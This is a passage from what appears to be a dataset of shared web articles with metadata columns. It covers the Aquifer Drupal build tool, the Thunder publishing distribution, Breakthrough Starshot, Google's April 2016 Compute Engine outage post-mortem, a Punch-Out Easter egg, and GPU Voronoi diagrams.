wiped out in an update), and commit it all. Then, if the patched component is ever updated, make sure you didn't lose track of the patch, apply it again (hoping it applies cleanly), and commit. If you're not using a patch from D.o but instead writing code yourself, you need to make sure you're making patches and applying them this way! There is no system in place to ensure developers actually do this but code reviews. New way: You cannot directly edit core or contrib code because it will be downloaded anew on each build . Instead, Aquifer will apply all patches in the patches directory during build. This way you will: Never have confusion about whether a patch was applied or not. Never have any untracked modification of a contrib or core file which would be wiped out in an update. Be notified easily if a patch doesn't apply following an update. Everyone on the team can easily see what has been patched and how. The refresh: Avoiding database config, keeping database sync'd to code We all know not to do development or site building work on production. But Drupal's database does hold overrides that can occasionally sneak in. If your local database doesn't match the code you've checked out, you may not see bugs or regressions until they clash with config in production. Also, there's no way to review those overrides in a unified way (at least in D7). Old way: Check out the code you're working on. Copy down the Production database or a backup. Run something like drush features-revert-all ( fra ) and drush cache-clear all ( cc all ) multiple times, then an updb and assume all overrides are cleared, all changes in the code have been applied, and any new update hooks have executed. Then, unless you're using the Master module , enable things like fields_ui , views_ui , devel and disable anything that is production-specific. New way: Check out the code you're working on. Copy down the Production database or a backup. Run aquifer refresh . Get to work with confidence that your instance is up to date with your code. Refresh can be customized for your project, but we usually have refresh run these steps in order: Rebuild registry (refreshes Drupal's autoloader cache, drush rr ) Set the Master module scope to local (enable all the dev modules/tools automatically) Clear all caches Execute the Master scope change Run all update hooks Revert all features Execute a final cache clear all Code quality and automated testing Old way: Install and separately execute additional toolchains for code linting and automated testing. New way: Aquifer Coder can lint all PHP and JavaScript in your repo (which is only your own code) with aquifer lint to ensure adherence to Drupal coding style and standards for better consistency and code sharing. Additionally, use Aquifer Run to execute post-build commands to prepare your frontend assets, execute tests, or any other repetitive tasks. In the future, there will be dedicated Aquifer extensions for different testing frameworks or frontend toolchains, but using Run in the meantime reduces the number of manual steps. Using Aquifer for your projects How do I get started? Check out the Aquifer Quick-start Guide . A few hints I'll add: We strongly recommend using nvm to manage your Node.js and module versions. Installing Node from Ubuntu or Homebrew packages leads to lots of outdated code and permissions issues, which snowball. Never use sudo for anything in this process. Aquifer uses NPM modules to download its extensions and prepare files to be executed by your web server, which may in turn save cached files in some directories. If some part of this process is executed with sudo , soon you'll have a mess of files owned by root, pushing you to use sudo more, all executing code from the Internet with elevated privileges, which is a major security risk. Web Chef Matt Grill wrote NPM Doctor to help get yourself out of that spiral. Occasionally, Aquifer can't find your installation of Drush and provides a somewhat cryptic error message about it. Adding a line in the paths section of my aquifer.json file fixed this: ""drush"": ""/home/tsmith/.composer/vendor/bin/drush"", . Can I use it on a project which already exists? Yes! Aquifer uses a Drush Make workflow, so what you need is a makefile. Drush can generate this for you: In an existing Drupal site, execute drush make-generate drupal.make Create a new Aquifer project . Copy in that makefile. At this point, you'll need to bring in your custom code into the Aquifer directory structure From there, aquifer build should generate a build directory that looks just like your existing docroot. After testing it thoroughly, you can use Aquifer Git to deploy your project to the existing repo for deployment. TL;DR Using a build system streamlines the development process, particularly across multiple developers working on a single project. By reducing errors in repetitive steps, keeping the code repository lean and well organized, enabling a one-step build , ensuring high code quality, and providing a way to prevent database conflicts with the code, Aquifer has become a demonstrably valuable part of the Four Kitchens development process.",en
1460595114,CONTENT SHARED,3262563792577344354,3891637997717104548,3664397758473282254,,,,HTML,http://buytaert.net/thunder-a-drupal-distribution-for-publishers,"Thunder, a Drupal distribution for publishers","Earlier this month, the international media group Hubert Burda Media (about 2.5 billion annual revenue, more than 10,000 employees, and more than 300 titles) released its Drupal 8 distribution, Thunder . Thunder includes custom modules specifically tailored to the needs of professional publishers. This is great news for three reasons: (1) I've long been a believer in Drupal distributions , (2) I believe that publishers shouldn't compete through CMS technology, but through strong content and brands, and (3) Thunder is based on Drupal 8. Distributions enable Drupal to compete against a wide range of turnkey solutions, as well as break into new markets. The number of vertical distributions that can be created is nearly limitless, and the possibilities are endless. Thunder is a great example of that. Professional publishing is one of the industries that has faced the most extensive business model disruption because of the web. Many companies are feeling pressure on their revenue streams, yet you'll find that some companies still focus their efforts on building proprietary, custom CMS platforms as a way to differentiate. This doesn't have to be the case - I've long believed that Drupal (and open source, more generally) can give publishers endless ways to differentiate themselves at much lower costs. The following video gives an overview of the Thunder approach: Custom features for publishers Thunder adds a range of publisher-centric Drupal modules to Drupal 8 core. Specifically, Burda added integrations with audience ""circulation"" counting tools and ad servers, as well as single sign-on (SSO) support across multiple sites. They've also developed a theme which implements infinite scrolling. Thunder users also benefit from a range of channel- and feature-specific enhancements through collaboration with industry partners. The following extensions are already available or in the final stages of development: Riddle.com provides an easy-to-use editor for interactive content. The data from the resulting polls and quizzes is available to the publisher. nexx.tv offers a video CMS and their video player. And Microsoft will support the video solution with 100,000 free video streamings per month through their Azure cloud. Facebook will provide a module for integrated publishing to their Instant Articles, exclusively for Thunder users. Smart collaboration I admire the approach Burda is taking to bring publishers, partners and developers together from throughout the industry to develop the best open-source CMS platform for publishers. At the core is a team of publishing experts and developers led by Ingo Rübe, CTO for Burda's German publishing operations, and initiator of Thunder. This team will also be responsible for coordinating the continuous development and enhancement of Thunder. Under Thunder's policy, all features provided by industry partners must be offered for free or with a freemium model; in other words, a significant part of the functionality has to be provided at no cost at all. Smaller publishers will likely benefit from this approach, as they will be able to use a full-fledged publishing solution that is continuously enhanced and maintained by larger partners. Big brands are already using Thunder Although Thunder is still in public beta, Burda has migrated three brands to Thunder. The German edition of Playboy (about 2M monthly visits) was the first to move at the end of 2015. The fashion brand InStyle (about 1.8M monthly visits) and gardening website ""Mein schöner Garten"" (about 1.5M monthly visits) are also running on Thunder. Most of the other German Burda brands are planning to adopt Thunder in the next 12 months. This includes at least 20 brands such as Elle.de and Bunte.de, which have more than 20 million monthly visits each. You can download Thunder from .",en
1460600891,CONTENT SHARED,-1469918446833331103,-1032019229384696495,1822267539745436764,,,,HTML,http://mobile.nytimes.com/2016/04/13/science/alpha-centauri-breakthrough-starshot-yuri-milner-stephen-hawking.html?referer=https://www.google.com/&_r=0,"Reaching for the Stars, Across 4.37 Light-Years","Can you fly an iPhone to the stars? In an attempt to leapfrog the planets and vault into the interstellar age, a bevy of scientists and other luminaries from Silicon Valley and beyond, led by Yuri Milner, a Russian philanthropist and Internet entrepreneur, announced a plan on Tuesday to send a fleet of robot spacecraft no bigger than iPhones to Alpha Centauri, the nearest star system, 4.37 light-years away. If it all worked out - a cosmically big ""if"" that would occur decades and perhaps $10 billion from now - a rocket would deliver a ""mother ship"" carrying a thousand or so small probes to space. Once in orbit, the probes would unfold thin sails and then, propelled by powerful laser beams from Earth , set off one by one like a flock of migrating butterflies across the universe. Within two minutes, the probes would be more than 600,000 miles from home - as far as the lasers could maintain a tight beam - and moving at a fifth of the speed of light. But it would still take 20 years for them to get to Alpha Centauri. Those that survived would zip past the star system, making measurements and beaming pictures back to Earth. Much of this plan is probably half a lifetime away. Mr. Milner and his colleagues estimate that it could take 20 years to get the mission off the ground and into the heavens, 20 years to get to Alpha Centauri and another four years for the word from outer space to come home. And there is still the matter of attracting billions of dollars to pay for it. ""I think you and I will be happy to see the launch,"" Mr. Milner, 54, said in an interview, adding that progress in medicine and longevity would determine whether he would live to see the results. ""We came to the conclusion it can be done: interstellar travel,"" Mr. Milner said. He announced the project, called Breakthrough Starshot, in a news conference in New York on Tuesday, 55 years after Yuri Gagarin - for whom Mr. Milner is named - became the first human in space. The English cosmologist and author Stephen Hawking is one of three members of the board of directors for the mission, along with Mr. Milner and Mark Zuckerberg, the Facebook founder. ""What makes human beings unique?"" Dr. Hawking asked. He went on to say, ""I believe that what makes us unique is transcending our limits."" Dr. Hawking added, ""Today we commit to the next great leap in the cosmos, because we are human and our nature is to fly."" The project will be directed by Pete Worden, a former director of NASA's Ames Research Center. He has a prominent cast of advisers, including the Harvard astronomer Avi Loeb as chairman; the British astronomer royal Martin Rees; the Nobel Prize -winning astronomer Saul Perlmutter, of the University of California, Berkeley; Ann Druyan, an executive producer of the television mini-series ""Cosmos: A Spacetime Odyssey"" and the widow of Carl Sagan; and the mathematician and author Freeman Dyson, of the Institute for Advanced Study in Princeton, N.J. ""There are about 20 key challenges we are asking the world's scientific experts to help us with - and we are willing to financially support their work,"" Dr. Worden said in an email. A detailed technical description of the project appears on the project's website . Estimating that the project could cost $5 billion to $10 billion, Mr. Milner is initially investing $100 million for research and development. He said he was hoping to lure other investors, especially from international sources. Both NASA and the European Space Agency have been briefed on the project, Dr. Worden said. Most of that money would go toward a giant laser array, which could be used to repeatedly send probes toward any star (as long as the senders were not looking for return mail anytime soon) or around the solar system, perhaps to fly through the ice plumes of Saturn's moon Enceladus, which might contain microbes - tiny forms of life. In a sense, the start of this space project reflects the make-it-or-break-it mode of Silicon Valley. Rather than send one big, expensive spacecraft on a journey of years, send thousands of cheap ones. If some break or collide with space junk, others can take their place. Interstellar travel is a daunting and humbling notion, but Alpha Centauri is an alluring target for such a trip: It is the closest star system to our own, and there might be planets in the system. The system, which looks to the naked eye like one star, consists of three: Alpha Centauri A and Alpha Centauri B, which circle each other, and Proxima Centauri, which may be circling the other two. In recent years, astronomers have amassed data suggesting the possibility of an Earth-size planet orbiting Alpha Centauri B. It would take Voyager 1, humanity's most distant space probe, more than 70,000 years to reach Alpha Centauri if it were headed in that direction, which it is not. Over the years, a variety of propulsion plans have been hatched to cross the void more quickly. In 1962, shortly after lasers were invented, Robert Forward, a physicist and science fiction author, suggested they could be used to push sails in space. In 2011, Darpa, the Defense Advanced Research Projects Agency, got into the act with 100 Year Starship , a contest to develop a business plan for interstellar travel. By all accounts, Mr. Milner was initially skeptical of an interstellar probe. But three trends seemingly unrelated to space travel - advances in nanotechnology and lasers and the relentless march of Moore's Law, making circuits ever smaller and more powerful - have converged in what he called ""a surprising way."" It is now possible to fit the entire probe with computers, cameras and electrical power, a package with a mass of only one gram, a thirtieth of an ounce. That, Dr. Loeb said, is about what the guts of an iPhone, stripped of its packaging and displays, amount to. Power would come from a tiny radioactive source like americium, the element in smoke detectors. Propulsion would come from foil sails that would unfold to catch laser light. The laser is the most intimidating and expensive of the challenges. It would have to generate 100 gigawatts of power for the two minutes needed to accelerate the butterfly probes to a fifth of the speed of light (subjecting its tiny innards to 60,000 times the force of normal gravity, by the way). That is about as much energy as it takes for a space shuttle to lift off, Dr. Loeb said, and about 100 times the output of a typical nuclear power plant. To achieve that energy would require an array about a mile across combining thousands of lasers firing in perfect unison. Moreover, to keep the beam tightly focused on one probe at a time would require an adaptive optics system that compensated for atmospheric turbulence - something astronomers know how to do over a span of 10 meters, the size of a big telescope mirror now, but not over a mile. Posing another challenge is the design of the sails, which would have to be very thin and able to reflect the laser light without absorbing any of its energy. Absorbing as little as one part in 100,000 of the laser energy would vaporize the sail. Another challenge might simply be to the imagination. Nobody knows what the Starshot fleet might find out. ""Looking is very different from going and visiting,"" Dr. Loeb said. As he noted, referring to recent physics experiments, ""Nature teaches us that its imagination is better than ours.""",en
1460631715,CONTENT SHARED,5442191984600038712,-2979881261169775358,3794186808815355888,,,,HTML,https://status.cloud.google.com/incident/compute/16007?post-mortem,Google Cloud Status,"09:31 SUMMARY: On Monday, 11 April, 2016, Google Compute Engine instances in all regions lost external connectivity for a total of 18 minutes, from 19:09 to 19:27 Pacific Time. We recognize the severity of this outage, and we apologize to all of our customers for allowing it to occur. As of this writing, the root cause of the outage is fully understood and GCE is not at risk of a recurrence. In this incident report, we are sharing the background, root cause and immediate steps we are taking to prevent a future occurrence. Additionally, our engineering teams will be working over the next several weeks on a broad array of prevention, detection and mitigation systems intended to add additional defense in depth to our existing production safeguards. Finally, to underscore how seriously we are taking this event, we are offering GCE and VPN service credits to all impacted GCP applications equal to (respectively) 10% and 25% of their monthly charges for GCE and VPN. These credits exceed what we promise in the Compute Engine Service Level Agreement ( or Cloud VPN Service Level Agreement ( but are in keeping with the spirit of those SLAs and our ongoing intention to provide a highly-available Google Cloud product suite to all our customers. DETAILED DESCRIPTION OF IMPACT: On Monday, 11 April, 2016 from 19:09 to 19:27 Pacific Time, inbound internet traffic to Compute Engine instances was not routed correctly, resulting in dropped connections and an inability to reconnect. The loss of inbound traffic caused services depending on this network path to fail as well, including VPNs and L3 network load balancers. Additionally, the Cloud VPN offering in the asia-east1 region experienced the same traffic loss starting at an earlier time of 18:14 Pacific Time but the same end time of 19:27. This event did not affect Google App Engine, Google Cloud Storage, and other Google Cloud Platform products; it also did not affect internal connectivity between GCE services including VMs, HTTP and HTTPS (L7) load balancers, and outbound internet traffic. TIMELINE and ROOT CAUSE: Google uses contiguous groups of internet addresses -- known as IP blocks -- for Google Compute Engine VMs, network load balancers, Cloud VPNs, and other services which need to communicate with users and systems outside of Google. These IP blocks are announced to the rest of the internet via the industry-standard BGP protocol, and it is these announcements which allow systems outside of Google's network to 'find' GCP services regardless of which network they are on. To maximize service performance, Google's networking systems announce the same IP blocks from several different locations in our network, so that users can take the shortest available path through the internet to reach their Google service. This approach also enhances reliability; if a user is unable to reach one location announcing an IP block due to an internet failure between the user and Google, this approach will send the user to the next-closest point of announcement. This is part of the internet's fabled ability to 'route around' problems, and it masks or avoids numerous localized outages every week as individual systems in the internet have temporary problems. At 14:50 Pacific Time on April 11th, our engineers removed an unused GCE IP block from our network configuration, and instructed Google's automated systems to propagate the new configuration across our network. By itself, this sort of change was harmless and had been performed previously without incident. However, on this occasion our network configuration management software detected an inconsistency in the newly supplied configuration. The inconsistency was triggered by a timing quirk in the IP block removal - the IP block had been removed from one configuration file, but this change had not yet propagated to a second configuration file also used in network configuration management. In attempting to resolve this inconsistency the network management software is designed to 'fail safe' and revert to its current configuration rather than proceeding with the new configuration. However, in this instance a previously-unseen software bug was triggered, and instead of retaining the previous known good configuration, the management software instead removed all GCE IP blocks from the new configuration and began to push this new, incomplete configuration to the network. One of our core principles at Google is 'defense in depth', and Google's networking systems have a number of safeguards to prevent them from propagating incorrect or invalid configurations in the event of an upstream failure or bug. These safeguards include a canary step where the configuration is deployed at a single site and that site is verified to still be working correctly, and a progressive rollout which makes changes to only a fraction of sites at a time, so that a novel failure can be caught at an early stage before it becomes widespread. In this event, the canary step correctly identified that the new configuration was unsafe. Crucially however, a second software bug in the management software did not propagate the canary step's conclusion back to the push process, and thus the push system concluded that the new configuration was valid and began its progressive rollout. As the rollout progressed, those sites which had been announcing GCE IP blocks ceased to do so when they received the new configuration. The fault tolerance built into our network design worked correctly and sent GCE traffic to the the remaining sites which were still announcing GCE IP blocks. As more and more sites stopped announcing GCE IP blocks, our internal monitoring picked up two anomalies: first, the Cloud VPN in asia-east1 stopped functioning at 18:14 because it was announced from fewer sites than GCE overall, and second, user latency to GCE was anomalously rising as more and more users were sent to sites which were not close to them. Google's Site Reliability Engineers started investigating the problem when the first alerts were received, but were still trying to determine the root cause 53 minutes later when the last site announcing GCE IP blocks received the configuration at 19:07. With no sites left announcing GCE IP blocks, inbound traffic from the internet to GCE dropped quickly, reaching >95% loss by 19:09. Internal monitors generated dozens of alerts in the seconds after the traffic loss became visible at 19:08, and the Google engineers who had been investigating a localized failure of the asia-east1 VPN now knew that they had a widespread and serious problem. They did precisely what we train for, and decided to revert the most recent configuration changes made to the network even before knowing for sure what the problem was. This was the correct action, and the time from detection to decision to revert to the end of the outage was thus just 18 minutes. With the immediate outage over, the team froze all configuration changes to the network, and worked in shifts overnight to ensure first that the systems were stable and that there was no remaining customer impact, and then to determine the root cause of the problem. By 07:00 on April 12 the team was confident that they had established the root cause as a software bug in the network configuration management software. DETECTION, REMEDIATION AND PREVENTION: With both the incident and the immediate risk now over, the engineering team's focus is on prevention and mitigation. There are a number of lessons to be learned from this event -- for example, that the safeguard of a progressive rollout can be undone by a system designed to mask partial failures -- which yield similarly-clear actions which we will take, such as monitoring directly for a decrease in capacity or redundancy even when the system is still functioning properly. It is our intent to enumerate all the lessons we can learn from this event, and then to implement all of the changes which appear useful. As of the time of this writing in the evening of 12 April, there are already 14 distinct engineering changes planned spanning prevention, detection and mitigation, and that number will increase as our engineering teams review the incident with other senior engineers across Google in the coming week. Concretely, the immediate steps we are taking include: Monitoring targeted GCE network paths to detect if they change or cease to function; Comparing the IP block announcements before and after a network configuration change to ensure that they are identical in size and coverage; Semantic checks for network configurations to ensure they contain specific Cloud IP blocks. A FINAL WORD: We take all outages seriously, but we are particularly concerned with outages which affect multiple zones simultaneously because it is difficult for our customers to mitigate the effect of such outages. This incident report is both longer and more detailed than usual precisely because we consider the April 11th event so important, and we want you to understand why it happened and what we are doing about it. It is our hope that, by being transparent and providing considerable detail, we both help you to build more reliable services, and we demonstrate our ongoing commitment to offering you a reliable Google Cloud platform. Sincerely, Benjamin Treynor Sloss | VP 24x7 | Google SUMMARY: On Monday, 11 April, 2016, Google Compute Engine instances in all regions lost external connectivity for a total of 18 minutes, from 19:09 to 19:27 Pacific Time. We recognize the severity of this outage, and we apologize to all of our customers for allowing it to occur. As of this writing, the root cause of the outage is fully understood and GCE is not at risk of a recurrence. In this incident report, we are sharing the background, root cause and immediate steps we are taking to prevent a future occurrence. Additionally, our engineering teams will be working over the next several weeks on a broad array of prevention, detection and mitigation systems intended to add additional defense in depth to our existing production safeguards. Finally, to underscore how seriously we are taking this event, we are offering GCE and VPN service credits to all impacted GCP applications equal to (respectively) 10% and 25% of their monthly charges for GCE and VPN. These credits exceed what we promise in the Compute Engine Service Level Agreement ( or Cloud VPN Service Level Agreement ( but are in keeping with the spirit of those SLAs and our ongoing intention to provide a highly-available Google Cloud product suite to all our customers. DETAILED DESCRIPTION OF IMPACT: On Monday, 11 April, 2016 from 19:09 to 19:27 Pacific Time, inbound internet traffic to Compute Engine instances was not routed correctly, resulting in dropped connections and an inability to reconnect. The loss of inbound traffic caused services depending on this network path to fail as well, including VPNs and L3 network load balancers. Additionally, the Cloud VPN offering in the asia-east1 region experienced the same traffic loss starting at an earlier time of 18:14 Pacific Time but the same end time of 19:27. This event did not affect Google App Engine, Google Cloud Storage, and other Google Cloud Platform products; it also did not affect internal connectivity between GCE services including VMs, HTTP and HTTPS (L7) load balancers, and outbound internet traffic. TIMELINE and ROOT CAUSE: Google uses contiguous groups of internet addresses -- known as IP blocks -- for Google Compute Engine VMs, network load balancers, Cloud VPNs, and other services which need to communicate with users and systems outside of Google. These IP blocks are announced to the rest of the internet via the industry-standard BGP protocol, and it is these announcements which allow systems outside of Google's network to 'find' GCP services regardless of which network they are on. To maximize service performance, Google's networking systems announce the same IP blocks from several different locations in our network, so that users can take the shortest available path through the internet to reach their Google service. This approach also enhances reliability; if a user is unable to reach one location announcing an IP block due to an internet failure between the user and Google, this approach will send the user to the next-closest point of announcement. This is part of the internet's fabled ability to 'route around' problems, and it masks or avoids numerous localized outages every week as individual systems in the internet have temporary problems. At 14:50 Pacific Time on April 11th, our engineers removed an unused GCE IP block from our network configuration, and instructed Google's automated systems to propagate the new configuration across our network. By itself, this sort of change was harmless and had been performed previously without incident. However, on this occasion our network configuration management software detected an inconsistency in the newly supplied configuration. The inconsistency was triggered by a timing quirk in the IP block removal - the IP block had been removed from one configuration file, but this change had not yet propagated to a second configuration file also used in network configuration management. In attempting to resolve this inconsistency the network management software is designed to 'fail safe' and revert to its current configuration rather than proceeding with the new configuration. However, in this instance a previously-unseen software bug was triggered, and instead of retaining the previous known good configuration, the management software instead removed all GCE IP blocks from the new configuration and began to push this new, incomplete configuration to the network. One of our core principles at Google is 'defense in depth', and Google's networking systems have a number of safeguards to prevent them from propagating incorrect or invalid configurations in the event of an upstream failure or bug. These safeguards include a canary step where the configuration is deployed at a single site and that site is verified to still be working correctly, and a progressive rollout which makes changes to only a fraction of sites at a time, so that a novel failure can be caught at an early stage before it becomes widespread. In this event, the canary step correctly identified that the new configuration was unsafe. Crucially however, a second software bug in the management software did not propagate the canary step's conclusion back to the push process, and thus the push system concluded that the new configuration was valid and began its progressive rollout. As the rollout progressed, those sites which had been announcing GCE IP blocks ceased to do so when they received the new configuration. The fault tolerance built into our network design worked correctly and sent GCE traffic to the the remaining sites which were still announcing GCE IP blocks. As more and more sites stopped announcing GCE IP blocks, our internal monitoring picked up two anomalies: first, the Cloud VPN in asia-east1 stopped functioning at 18:14 because it was announced from fewer sites than GCE overall, and second, user latency to GCE was anomalously rising as more and more users were sent to sites which were not close to them. Google's Site Reliability Engineers started investigating the problem when the first alerts were received, but were still trying to determine the root cause 53 minutes later when the last site announcing GCE IP blocks received the configuration at 19:07. With no sites left announcing GCE IP blocks, inbound traffic from the internet to GCE dropped quickly, reaching >95% loss by 19:09. Internal monitors generated dozens of alerts in the seconds after the traffic loss became visible at 19:08, and the Google engineers who had been investigating a localized failure of the asia-east1 VPN now knew that they had a widespread and serious problem. They did precisely what we train for, and decided to revert the most recent configuration changes made to the network even before knowing for sure what the problem was. This was the correct action, and the time from detection to decision to revert to the end of the outage was thus just 18 minutes. With the immediate outage over, the team froze all configuration changes to the network, and worked in shifts overnight to ensure first that the systems were stable and that there was no remaining customer impact, and then to determine the root cause of the problem. By 07:00 on April 12 the team was confident that they had established the root cause as a software bug in the network configuration management software. DETECTION, REMEDIATION AND PREVENTION: With both the incident and the immediate risk now over, the engineering team's focus is on prevention and mitigation. There are a number of lessons to be learned from this event -- for example, that the safeguard of a progressive rollout can be undone by a system designed to mask partial failures -- which yield similarly-clear actions which we will take, such as monitoring directly for a decrease in capacity or redundancy even when the system is still functioning properly. It is our intent to enumerate all the lessons we can learn from this event, and then to implement all of the changes which appear useful. As of the time of this writing in the evening of 12 April, there are already 14 distinct engineering changes planned spanning prevention, detection and mitigation, and that number will increase as our engineering teams review the incident with other senior engineers across Google in the coming week. Concretely, the immediate steps we are taking include: Monitoring targeted GCE network paths to detect if they change or cease to function; Comparing the IP block announcements before and after a network configuration change to ensure that they are identical in size and coverage; Semantic checks for network configurations to ensure they contain specific Cloud IP blocks. A FINAL WORD: We take all outages seriously, but we are particularly concerned with outages which affect multiple zones simultaneously because it is difficult for our customers to mitigate the effect of such outages. This incident report is both longer and more detailed than usual precisely because we consider the April 11th event so important, and we want you to understand why it happened and what we are doing about it. It is our hope that, by being transparent and providing considerable detail, we both help you to build more reliable services, and we demonstrate our ongoing commitment to offering you a reliable Google Cloud platform. Sincerely, Benjamin Treynor Sloss | VP 24x7 | Google 19:59 The issue with networking should have been resolved for all affected services as of 19:27 US/Pacific. We will conduct an internal investigation of this issue and make appropriate improvements to our systems to prevent or minimize future recurrence. We will provide a more detailed analysis of this incident on the Cloud Status Dashboard once we have completed our internal investigation. For everyone who is affected, we apologize for any inconvenience you experienced. The issue with networking should have been resolved for all affected services as of 19:27 US/Pacific. We will conduct an internal investigation of this issue and make appropriate improvements to our systems to prevent or minimize future recurrence. We will provide a more detailed analysis of this incident on the Cloud Status Dashboard once we have completed our internal investigation. For everyone who is affected, we apologize for any inconvenience you experienced. 19:45 The issue with networking should have been resolved for all affected services as of 19:27 US/Pacific. We're continuing to monitor the situation. We will provide another status update by 20:00 US/Pacific with current details. The issue with networking should have been resolved for all affected services as of 19:27 US/Pacific. We're continuing to monitor the situation. We will provide another status update by 20:00 US/Pacific with current details. 19:21 Current data indicates that there are severe network connectivity issues in all regions. Google engineers are currently working to resolve this issue. We will post a further update by 20:00 US/Pacific. Current data indicates that there are severe network connectivity issues in all regions. Google engineers are currently working to resolve this issue. We will post a further update by 20:00 US/Pacific. 19:00 We are experiencing an issue with Cloud VPN in asia-east1 beginning at Monday, 2016-04-11 18:25 US/Pacific. Current data suggests that all Cloud VPN traffic in this region is affected. For everyone who is affected, we apologize for any inconvenience you may be experiencing. We will provide an update by 19:30 US/Pacific with current details. We are experiencing an issue with Cloud VPN in asia-east1 beginning at Monday, 2016-04-11 18:25 US/Pacific. Current data suggests that all Cloud VPN traffic in this region is affected. For everyone who is affected, we apologize for any inconvenience you may be experiencing. We will provide an update by 19:30 US/Pacific with current details. 18:51 We are investigating reports of an issue with Cloud VPN in asia-east1. We will provide more information by 19:00 US/Pacific. We are investigating reports of an issue with Cloud VPN in asia-east1. We will provide more information by 19:00 US/Pacific.",en
1460631991,CONTENT SHARED,-2151750849426701342,-2979881261169775358,3794186808815355888,,,,HTML,http://thenextweb.com/shareables/2016/04/11/punch-out-has-an-easter-egg-that-went-undiscovered-for-29-years/,NES classic 'Punch-Out' has an Easter egg that went undiscovered for 29 years,"Easter eggs in video games are everywhere, but most don't take nearly three decades to figure out. 'Punch-Out' - aka 'Mike Tyson's Punch-Out' - is the obvious exception to this rule. Reddit user Midwesternhousewives used his weekend to discover an Easter egg in Punch-Out that tells you when to deliver a knockout blow to two separate fighters. If you look closely at the left third of the screen you'll see a bearded man that from here on out we'll refer to as 8-bit Jesus. In your second fight with Piston Honda or Bald Bull, 8-bit Jesus will duck at exactly the moment you need to punch, which coincides with the moment Piston Honda is about to step forward and walk into Lil Mac's wicked right. Did you see it? Of course, you could try to time it like all of us NES-playing plebeians have been doing for years, but the idea that Nintendo developers specifically added a visual cue to tell you when to deliver a knock-out blow is pretty cool. Even cooler, there are still said to be Easter eggs in the game we've yet to discover, according to the game's original development team. I think I discovered a new easter egg in Mike Tyson's Punchout for NES today on Reddit Read next: Tesla has a Mario Kart easter egg, and you need a cheat code to find it TNW's West Coast reporter. Originally from the midwest (St. Louis), Bryan is currently based in Tijuana and writing about cybersecurity, culture, policy and shareable things he finds on the Web. Connect via Twitter ( @bryanclark ) or Facebook .",en
1460632269,CONTENT SHARED,8181531374206668183,-2979881261169775358,3794186808815355888,,,,HTML,http://rykap.com/graphics/skew/2016/02/25/voronoi-diagrams/,Voronoi Diagrams on the GPU,"Disclaimer: the demos on this page use WebGL features that aren't available on many mobile devices. For the best experience, read this on a Desktop computer. What is a Voronoi diagram? Try the demo below to find out. When you click in the first canvas, you plant a colored 'seed'. In the second canvas, every pixel takes the color of the closest seed. You can drag to plant lots of seeds. Demo #2: the first canvas shows a few moving dots. The second canvas shows the corresponding Voronoi diagram. Move your mouse over either canvas to control the location of the yellow dot. I like to pretend that it's a yellow fish swimming in water. Here's one more demo that I think is fun. In the first canvas there are seeds in a radial pattern overlaid on top of a photo. Each seed takes the color of the underlying pixel in the image. Drag the circle to move the seeds and drag the square to rotate them. There are a few popular algorithms for computing Voronoi diagrams. I'll talk about the one that I used to build the demos above (you can find the code for them here ). The approach is from a paper called Jump Flooding in GPU with Applications to Voronoi Diagram and Distance Transform . We'll call it JFA - short for Jump Flooding Algorithm. The input to JFA is a blank background with some colored seeds on it (like in the first demo above). You iterate over the image in rounds , each with a step length , k. In a given round you iterate through each pixel (i, j) and look at 8 pixels around it. The 8 pixels that you look at aren't the immediate neighbours. They depend on the step length of the round that you're in. If your round has step length k, then you look at nearby pixels in the pattern shown in the diagram below. Every pixel remembers the location - not just the color - of the closest seed that it's seen so far. When you process a pixel, you compare the location of the seed it remembers (if any) against that of each pixel it visits. If it finds a closer seed, it remembers that instead. A pixel doesn't need to visit a seed to find out about it. It just needs to visit another pixel that visited it. Or a pixel that visited another pixel that visited it, and so on. The first round of JFA has step length N / 2, where N is the size of the grid. The next one has step length N / 4. The following has N / 8, and so on until N / k is 1. In total there are log(N) rounds. Below is an interactive demo showing the pattern in which JFA moves through the grid for each round. At each step, it shows the grid cell that we're currently processing and the 8 cells around it that it visits to look for seeds. Use the slider to change which round you're on. To summarize, JFA works as follows: you walk through every pixel in the grid log(N) times. The first time, you look for seeds in the 8 'neighbours' roughly N / 2 pixels away from the current pixel. The next round you look at the neighbours roughly N / 4 pixels away, and so on. Every pixel holds on to the closest seed that it's found so far and during the course of the algorithm passes that information on to other cells in the grid. Sometimes you'll give JFA a set of input seeds and it'll produce a subtly wrong result. I won't go into the details of how that happens ( the paper discusses it in sections 5 and 6). I'm bringing it up only so that you don't feel bad for not seeing how the algorithm is totally correct - it's not. But it works well most of the time, like for the demos on this page. It's interesting to see what the JFA grid looks like at the end of each round. Below is a demo like the one at the top of the page, except there's a slider to set the maximum JFA round number. If you set it to 5, then we stop computing JFA at round 5 and show the result in the second canvas. Try adding a few seeds and moving the slider slowly from round 0 to see what JFA does at each step. I find it really interesting how it all comes together in the last two steps - before that it doesn't look much like a Voronoi diagram at all. JFA gives us two things for every pixel: the color of the closest seed (which we used above to draw Voronoi diagrams) and the location of the closest seed. To demonstrate the latter, here's the same 'fish' simulation as above except we're coloring pixels by how close they are to their closest seed. Light pixels are close to a seed and dark pixels are far from one. Evan Wallace gave me the idea to use this to render 2D drop shadows on the GPU. One of the tricky parts of rendering CSS drop shadows is that they have a 'spread' value. The bigger the spread, the farther the shadow reaches before fading out. This means that you can't implement a drop shadow just by blurring the shape casting the shadow. So how does it work? We render the shape that we want to cast a shadow (in the example below its the text 'Voronoi') and we treat each rendered pixel as a seed for JFA. Then we run JFA, which gives us the distance from every pixel in the image to some pixel in the shape. This is exactly what we need to render a drop shadow with spread: pixels close to the shape are in shadow and pixels far from the shape are not. You can drag the canvas above the move the drop shadow, or use the sliders to control spread and blur. JFA runs in 'constant time' in the sense that it doesn't get slower with more seeds. But that doesn't fully explain why it's fast. When you run JFA on a 512px by 512px image it processes each pixel (i.e. checks its neighbours for seeds) more than 2 million times. If you implement that naively in Javascript, it's going to be too slow to compute on every frame of an interactive demo. What makes JFA efficient is that it's really well suited to being run on the GPU. So the 2 million computations are done mostly in parallel. I just got started with WebGL, so I'm not confident giving a deep dive on how that works. I might do a follow up post once I learn more. If you're curious in the mean time, this article by Chris Wellons is a great, detailed, explanation of how to build Conway's Game of Life on the GPU. It's a similar problem and if you understand that post you'll be on your way to understanding why JFA is fast. Thanks for making it this far in the post! As a reward, here's one more demo. The first canvas shows two grids of dots. One of them is moving toward the bottom right. The second canvas shows the corresponding Voronoi diagram. Click and drag on either canvas to control the position of the moving grid.",en
